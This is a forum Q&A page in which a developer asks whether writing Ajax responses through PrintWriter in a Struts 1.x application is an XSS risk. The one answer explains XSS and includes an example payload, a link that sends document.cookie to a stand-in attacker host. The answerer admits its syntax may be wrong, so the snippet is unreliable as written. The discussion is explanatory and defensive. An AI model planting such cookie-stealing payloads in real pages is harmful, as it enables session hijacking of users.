Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 7801037
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: June 2, 20262026-06-02T00:49:42+00:00 2026-06-02T00:49:42+00:00

I have a web application which uses Ajax for several tasks. It has Java

  • 0

I have a web application which uses Ajax for several tasks. It has Java as it’s middleware (Struts 1.x)

The issue is that my application was analyzed for potential security risks using static code analysis. It was found in the analysis that use of the following code is considered vulnerable.

e.g.

// Method invoked by Ajax
public ActionForward execute(...)
{
    PrintWriter out = response.getWriter();

    out.println("Ajax Response");

    return null;
}

The report clearly mentions that the use of PrintWriter is harmful and prone to XSS (Cross Site Scripting).
I tried searching online if this is a potential threat, but could not find anything useful.
Kindly advise if this is an issue and what are my alternatives.

EDIT – The problem was found with out.println statement

Thanks,
Siddharth

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-06-02T00:49:44+00:00Added an answer on June 2, 2026 at 12:49 am

    You can find a lot of information online about XSS but very few really goes very detailed about how to test this and avoid it. It’s one of those things that would require some research. Let me give you an example and the code you provide may or may not be the cause of the issue.

    Lets say your HTML page does an ajax call to the backend and you return the result. I am just giving you a jquery example after the success


    $.each(data, function(){
    $('div.result').append(this);
    );

    you will notice that data was just appended without validation. What if data came from a script kiddie and entered

    //this might not be the correct syntax
    <a href="http://somehackerurl.com/hack.php?"+document.cookie>test</a>
    

    since you are not validating your input, the user can just enter anything and the above code will steal the cookie of who ever clicks the link.

    hope this helps

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I have a web application that uses a library which resides in TOMCAT_HOME/common/lib. This
I have a web application which uses URLs that look like this: http://library.example.com/Register.aspx?query=academic&key=586c70bb-5683-419c-aae9-e596af9ab66a (The
I have a java web application which uses spring webflow as framework. I have
I have a web application which uses GWT 2.2 and Java 1.5 and is
We have an ASP.NET web application which uses ASP.NET Ajax. We open it from
I have an intranet web application which uses iframes. The outer web-page has a
I have a web application which runs on MySQL, and uses Java, Struts2 and
I have developed web application which uses JasperReports for reporting purpose. In that I
I have a java web-application which uses the jacob library (running both in 32bit
I have a PHP web application which uses a MySQL database for object tagging,

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.